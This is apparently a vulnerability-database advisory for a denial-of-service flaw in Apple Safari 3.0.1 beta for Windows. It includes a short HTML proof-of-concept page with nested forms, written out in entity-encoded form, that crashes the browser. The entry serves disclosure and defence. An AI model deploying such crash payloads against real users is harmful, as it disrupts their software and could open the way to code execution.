Apple Safari 3.0.1 for Windows Corefoundation.DLL Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apple Safari 3.0.1 for Windows Denial of Service Vulnerabilit


                                                source: http://www.securityfocus.com/bid/24497/info

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this.

Safari 3.0.1 public beta for Windows is reported vulnerable.

&#60;html&#62;&#60;Title&#62;Safari 3.0.1 beta for windows Crash Poc By Lostmon&#60;/title&#62; &#60;body&#62; &#60;p&#62;Safari 3.0.1 beta for windows Crash Poc By Lostmon ([email protected] )&#60;/p&#62; &#60;p&#62; Put some number in the second form for crash Safari&#60;/p&#62; &#60;form id=&#34;historyForm1&#34; method=&#34;GET&#34; action=&#34;#&#34;&#62; &#60;input type=&#34;text&#34; id=&#34;currentIndex1&#34; name=&#34;currentIndex&#34; value=&#34;sss&#34;&#62; &#60;textarea id=&#34;historyLocation1&#34; name=&#34;historyLocation&#34;&#62;&lt;/textarea&gt; &#60;form id=&#34;historyForm2&#34; method=&#34;GET&#34; action=&#34;#&#34;&#62; &#60;input type=&#34;text&#34; id=&#34;currentIndex2&#34; name=&#34;currentIndex&#34;&#62; &#60;textarea id=&#34;historyLocation2&#34; name=&#34;historyLocation&#34;&#62;&lt;/textarea&gt; &#60;/form&#62;&#60;/form&#62;&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7